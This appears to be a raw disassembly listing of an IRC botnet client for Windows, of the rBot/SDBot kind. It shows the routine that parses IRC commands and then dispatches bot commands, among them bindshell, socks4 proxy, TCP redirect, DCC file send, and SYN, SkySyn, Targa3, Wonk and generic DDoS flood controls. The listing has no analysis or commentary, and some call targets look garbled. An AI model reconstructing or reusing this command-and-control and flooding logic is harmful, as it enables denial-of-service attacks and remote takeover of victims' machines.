		jnz	loc_4034D4
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_4033EC:				; CODE XREF: sub_403038+5EBj
					; sub_403038+89Bj ...
		push	[ebp+arg_4]
		call	sub_4013FF
		jmp	loc_406C44
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_403038+2E9j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40353C
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_403422:				; CODE XREF: sub_403038+43Cj
		lea	eax, [ebp+var_A7C]
		push	eax
		push	esi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40346F
		lea	eax, [ebp+var_A7C]
		push	21h
		push	eax
		call	sub_4185C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40346F
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4184C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4184D0
		add	esp, 10h
		mov	edi, 80h


loc_40346F:				; CODE XREF: sub_403038+3FBj
					; sub_403038+412j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_403422
		lea	eax, [ebp+var_C0]
		test	eax, eax
		jz	short loc_4034D4
		cmp	[ebp+arg_24], ebx
		jz	short loc_4034D4
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4034AC
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_417770
		jmp	loc_40501D
; ---------------------------------------------------------------------------


loc_4034AC:				; CODE XREF: sub_403038+460j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4034B1:				; CODE XREF: sub_403038+49Aj
		cmp	[edi], bl
		jz	short loc_4034C8
		lea	eax, [ebp+var_A7C]
		push	eax
		push	edi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4034DC


loc_4034C8:				; CODE XREF: sub_403038+47Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4034B1


loc_4034D4:				; CODE XREF: sub_403038+5Bj
					; sub_403038+E8j ...
		push	1


loc_4034D6:				; CODE XREF: sub_403038+3ECAj
		pop	eax


loc_4034D7:				; CODE XREF: sub_403038+296j
					; sub_403038+28CAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4034DC:				; CODE XREF: sub_403038+48Ej
		lea	eax, [ebp+var_A7C]
		push	21h
		push	eax
		call	sub_4185C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_4034D4
		push	eax
		call	sub_414BE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_414BE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_4034D4
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_348]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 24h
		jmp	short loc_4034D4
; ---------------------------------------------------------------------------


loc_40353C:				; CODE XREF: sub_403038+3D0j
		push	esi
		push	offset aPart	; "PART"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40355E
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40358B


loc_40355E:				; CODE XREF: sub_403038+513j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_403563:				; CODE XREF: sub_403038+54Bj
		cmp	[edi], bl
		jz	short loc_403579
		push	[ebp+var_90]
		push	edi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4035C7


loc_403579:				; CODE XREF: sub_403038+52Dj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_403563
		mov	esi, [ebp+var_8C]


loc_40358B:				; CODE XREF: sub_403038+524j
		push	esi
		push	offset a353	; "353"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403628
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4035BA
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_4035BA:				; CODE XREF: sub_403038+577j
		push	[ebp+var_80]
		push	offset unk_437850
		jmp	loc_408716
; ---------------------------------------------------------------------------


loc_4035C7:				; CODE XREF: sub_403038+53Fj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_437810
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		push	[ebp+var_8C]
		push	offset aPart_0	; "PART"
		call	sub_417870
		add	esp, 18h
		test	eax, eax
		jnz	loc_4034D4
		lea	eax, [ebp+var_2E4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		jmp	loc_4033EC
; ---------------------------------------------------------------------------


loc_403628:				; CODE XREF: sub_403038+562j
		push	esi
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40366B
		push	esi
		push	offset aNotice_0 ; "NOTICE"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40366B
		push	esi
		push	offset a332	; "332"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40858F
		cmp	dword_436C1C, ebx
		jz	loc_40858F


loc_40366B:				; CODE XREF: sub_403038+5FFj
					; sub_403038+610j
		push	esi
		push	offset aPrivmsg_1 ; "PRIVMSG"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037F5
		push	esi
		push	offset aNotice_1 ; "NOTICE"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037F5
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		mov	[ebp+var_A8], 4
		mov	[ebp+var_88], eax


loc_4036AE:				; CODE XREF: sub_403038+879j
					; sub_403038+8AFj ...
		mov	eax, [ebp+var_A8]
		mov	esi, eax
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_4378E8
		mov	[ebp+arg_20], eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403A91
		push	[ebp+esi+var_8C]
		push	offset aSend_3	; "SEND"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40395B
		cmp	[ebp+var_A4], ebx
		jz	loc_403931
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_6E4]
		push	offset aS_26	; "%s"
		push	eax
		call	sub_4171D0
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_6F8]
		push	offset aS_27	; "%s"
		push	eax
		call	sub_4171D0
		push	[ebp+esi+var_80]
		call	sub_4174D0
		mov	[ebp+var_560], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_700], eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_417770
		mov	eax, [ebp+var_4]
		mov	[ebp+var_558], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_554], eax
		lea	eax, [ebp+var_5E0]
		push	eax
		lea	eax, [ebp+var_6E4]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_437900
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Ah
		push	eax
		call	sub_408E53
		add	esp, 44h
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_700]
		push	ebx
		push	eax
		push	offset loc_410E22
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_55C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	loc_403914


loc_4037DF:				; CODE XREF: sub_403038+7BBj
		cmp	[ebp+var_550], ebx
		jnz	loc_403953
		push	32h
		call	near ptr 2690599h
		nop
		jmp	short loc_4037DF
; ---------------------------------------------------------------------------


loc_4037F5:				; CODE XREF: sub_403038+642j
					; sub_403038+657j
		push	esi
		push	offset aNotice_2 ; "NOTICE"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40380D
		mov	[ebp+var_4], 1


loc_40380D:				; CODE XREF: sub_403038+7CCj
		mov	edi, [ebp+var_88]
		cmp	edi, ebx
		jz	loc_4034D4
		push	offset asc_43789C ; "#"
		push	edi
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403831
		cmp	[ebp+var_4], ebx
		jz	short loc_40383D


loc_403831:				; CODE XREF: sub_403038+7F2j
		lea	edi, [ebp+var_C0]
		mov	[ebp+var_88], edi


loc_40383D:				; CODE XREF: sub_403038+7F7j
		cmp	[ebp+var_84], ebx
		jz	loc_4034D4
		inc	[ebp+var_84]
		jz	short loc_403887
		cmp	[ebp+arg_10], ebx
		jz	short loc_403887
		lea	eax, [ebp+var_54C]
		push	eax
		call	sub_414BE0
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+var_84]
		push	eax
		call	sub_418480
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A8], eax
		jmp	short loc_40388D
; ---------------------------------------------------------------------------


loc_403887:				; CODE XREF: sub_403038+817j
					; sub_403038+81Cj
		mov	eax, [ebp+var_A8]


loc_40388D:				; CODE XREF: sub_403038+84Dj
		shl	eax, 2
		mov	[ebp+arg_8], eax
		mov	esi, [ebp+eax+var_90]
		cmp	esi, ebx
		jz	loc_4034D4
		push	esi
		push	offset dword_4378A0
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4036AE
		cmp	byte ptr [edi],	23h
		jz	short loc_4038D8
		mov	eax, dword_4D3188
		mov	eax, off_436CF0[eax*4]
		cmp	[eax], bl
		jz	short loc_4038D8
		push	eax
		push	edi
		push	offset dword_4378AC
		jmp	loc_4033EC
; ---------------------------------------------------------------------------


loc_4038D8:				; CODE XREF: sub_403038+882j
					; sub_403038+892j
		push	esi
		push	offset dword_4378C8
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4036AE
		mov	eax, [ebp+arg_8]
		mov	eax, [ebp+eax+var_8C]
		cmp	eax, ebx
		jz	loc_4036AE
		cmp	byte ptr [edi],	23h
		jz	loc_4036AE
		push	eax
		push	edi
		push	offset dword_4378D0
		jmp	loc_4033EC
; ---------------------------------------------------------------------------


loc_403914:				; CODE XREF: sub_403038+7A1j
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_437930


loc_403920:				; CODE XREF: sub_403038+A32j
					; sub_403038+A43j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		jmp	short loc_403953
; ---------------------------------------------------------------------------


loc_403931:				; CODE XREF: sub_403038+6C8j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+esi+var_88]
		push	offset unk_43796C
		push	eax
		call	sub_4171D0
		add	esp, 10h


loc_403953:				; CODE XREF: sub_403038+7ADj
					; sub_403038+8F7j ...
		push	1
		pop	esi
		jmp	loc_4058F3
; ---------------------------------------------------------------------------


loc_40395B:				; CODE XREF: sub_403038+6BCj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403AA7
		cmp	[ebp+var_A4], ebx
		jz	loc_403A80
		push	1Bh
		call	sub_40909B
		test	eax, eax
		pop	ecx
		jnz	loc_403A6F
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_6F8]
		push	offset aS_0	; "%s"
		push	eax
		call	sub_4171D0
		push	[ebp+esi+var_80]
		call	sub_4174D0
		mov	[ebp+var_560], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_700], eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_417770
		mov	eax, [ebp+var_4]
		mov	[ebp+var_558], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_554], eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_4379BC
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Bh
		push	eax
		call	sub_408E53
		add	esp, 34h
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_700]
		push	ebx
		push	eax
		push	offset dword_4108BC
		push	ebx
		push	ebx
		call	near ptr 26A08FFh
		nop
		mov	ecx, [ebp+var_55C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_403A5E


loc_403A48:				; CODE XREF: sub_403038+A24j
		cmp	[ebp+var_550], ebx
		jnz	loc_403953
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_403A48
; ---------------------------------------------------------------------------


loc_403A5E:				; CODE XREF: sub_403038+A0Ej
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_4379DC
		jmp	loc_403920
; ---------------------------------------------------------------------------


loc_403A6F:				; CODE XREF: sub_403038+954j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_437A14
		jmp	loc_403920
; ---------------------------------------------------------------------------


loc_403A80:				; CODE XREF: sub_403038+944j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_437A44
		jmp	loc_403920
; ---------------------------------------------------------------------------


loc_403A91:				; CODE XREF: sub_403038+6A1j
		mov	eax, [ebp+arg_20]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_436C28
		mov	[edi], ecx
		jnz	loc_4034D4


loc_403AA7:				; CODE XREF: sub_403038+938j
		mov	edi, [edi]
		push	edi
		push	offset aGogo	; "gogo"
		mov	[ebp+arg_20], edi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408597
		push	edi
		push	offset aGol	; "gol"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408597
		cmp	[ebp+var_A4], ebx
		jnz	short loc_403AF8
		push	[ebp+var_8C]
		push	offset a332_1	; "332"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40858F


loc_403AF8:				; CODE XREF: sub_403038+AA4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_40858F
		xor	edi, edi
		cmp	dword_437028, ebx
		jle	loc_403CAD
		mov	[ebp+arg_8], offset dword_445490


loc_403B16:				; CODE XREF: sub_403038+AFDj
		push	[ebp+arg_20]
		push	[ebp+arg_8]
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403B3C
		add	[ebp+arg_8], 0B8h
		inc	edi
		cmp	edi, dword_437028
		jl	short loc_403B16
		jmp	loc_403CAD
; ---------------------------------------------------------------------------


loc_403B3C:				; CODE XREF: sub_403038+AEDj
		push	offset asc_437BD0 ; " :"
		push	[ebp+arg_0]
		call	sub_417B50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4034D4
		mov	cl, byte_436C28
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_436C28
		mov	[eax+3], cl
		lea	ecx, dword_4454A8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_417770
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_C], eax


loc_403B91:				; CODE XREF: sub_403038+C0Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d-"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417B50
		add	esp, 14h
		test	eax, eax
		jz	short loc_403BFD
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_403BFD
		lea	eax, dword_445490[edi]
		push	eax
		call	sub_414BE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_403C38
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417B50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_403C38
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_411AB7
		add	esp, 0Ch
		jmp	short loc_403C38
; ---------------------------------------------------------------------------


loc_403BFD:				; CODE XREF: sub_403038+B81j
					; sub_403038+B88j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_403C38
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_411AB7
		add	esp, 18h


loc_403C38:				; CODE XREF: sub_403038+B9Aj
					; sub_403038+BAEj ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_403B91
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_403C55:				; CODE XREF: sub_403038+C69j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417B50
		add	esp, 14h
		test	eax, eax
		jz	short loc_403C98
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_403C98
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_411AB7
		add	esp, 0Ch


loc_403C98:				; CODE XREF: sub_403038+C45j
					; sub_403038+C4Bj
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_403C55
		mov	[ebp+var_C8], 1


loc_403CAD:				; CODE XREF: sub_403038+AD1j
					; sub_403038+AFFj
		mov	eax, [ebp+arg_20]
		mov	al, [eax]
		cmp	al, byte_436C28
		jz	short loc_403CC6
		cmp	[ebp+var_C8], ebx
		jz	loc_403EBB


loc_403CC6:				; CODE XREF: sub_403038+C80j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_411AB7
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_411AB7
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_411AB7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_408B4C
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_411AB7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_6 ; "$server"
		push	edi
		call	sub_411AB7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417B50
		add	esp, 14h


loc_403D38:				; CODE XREF: sub_403038+DFCj
		test	eax, eax
		jz	loc_403E39
		push	offset aChr_0	; "$chr("
		push	[ebp+arg_0]
		call	sub_417B50
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_A0]
		push	offset asc_437C18 ; ")"
		push	eax
		call	sub_417620
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_403D88
		cmp	[ebp+var_A0], 39h
		jle	short loc_403D9E


loc_403D88:				; CODE XREF: sub_403038+D45j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_403D9E:				; CODE XREF: sub_403038+D4Ej
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jle	short loc_403DC4
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4174D0
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_403DD8
; ---------------------------------------------------------------------------


loc_403DC4:				; CODE XREF: sub_403038+D75j
		call	sub_417B10
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_403DD8:				; CODE XREF: sub_403038+D8Aj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_414BE0
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417070
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_411AB7
		push	edi
		push	[ebp+arg_0]
		call	sub_417B50
		add	esp, 30h
		jmp	loc_403D38
; ---------------------------------------------------------------------------


loc_403E39:				; CODE XREF: sub_403038+D02j
		mov	edi, 1FFh
		lea	eax, [ebp+var_F84]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_F84]
		push	edi
		push	eax
		lea	eax, [ebp+var_1184]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_1184]
		push	offset asc_437C20 ; " "
		push	eax
		call	sub_417620
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_403E89:				; CODE XREF: sub_403038+E66j
		push	offset asc_437C24 ; " "
		push	ebx
		call	sub_417620
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_403E89
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_4034D4
		add	ecx, 3
		mov	[eax], ecx


loc_403EBB:				; CODE XREF: sub_403038+C88j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_20], edi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408542
		push	edi
		push	offset aRn	; "rn"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408542
		push	edi
		push	offset aDie	; "die"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072FE
		push	edi
		push	offset aD_1	; "d"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072FE
		push	edi
		push	offset aLogout	; "logout"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407234
		push	edi
		push	offset aLo	; "lo"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407234
		push	edi
		push	offset aVersion	; "version"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407216
		push	edi
		push	offset aVer	; "ver"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407216
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40720C
		push	edi
		push	offset aDed	; "ded"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40720C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071F6
		push	edi
		push	offset aSt	; "st"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071F6
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070F0
		push	edi
		push	offset aBd	; "bd"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070F0
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404014
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_437E94
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404014:				; CODE XREF: sub_403038+FC2j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FCE
		push	edi
		push	offset aS4	; "s4"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FCE
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404067
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_1 ; "Server"
		push	offset dword_437F2C
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404067:				; CODE XREF: sub_403038+1015j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404090
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_2 ; "Server"
		push	offset dword_437F50
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404090:				; CODE XREF: sub_403038+103Ej
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040B9
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_3 ; "Server"
		push	offset dword_437F74
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4040B9:				; CODE XREF: sub_403038+1067j
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040E2
		push	[ebp+esi+var_8C]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_437F98
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4040E2:				; CODE XREF: sub_403038+1090j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40410B
		push	[ebp+esi+var_8C]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_437FC4
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_40410B:				; CODE XREF: sub_403038+10B9j
		push	edi
		push	offset dword_437FD4
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404134
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_437FE0
		push	offset dword_437FEC
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404134:				; CODE XREF: sub_403038+10E2j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40415D
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_43800C
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_40415D:				; CODE XREF: sub_403038+110Bj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404186
		push	[ebp+esi+var_8C]
		push	10h
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_438034
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404186:				; CODE XREF: sub_403038+1134j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4041AF
		push	[ebp+esi+var_8C]
		push	11h
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_438060
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4041AF:				; CODE XREF: sub_403038+115Dj
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4041D8
		push	[ebp+esi+var_8C]
		push	12h
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_438088
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4041D8:				; CODE XREF: sub_403038+1186j
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40432E
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_4380AC
		push	1
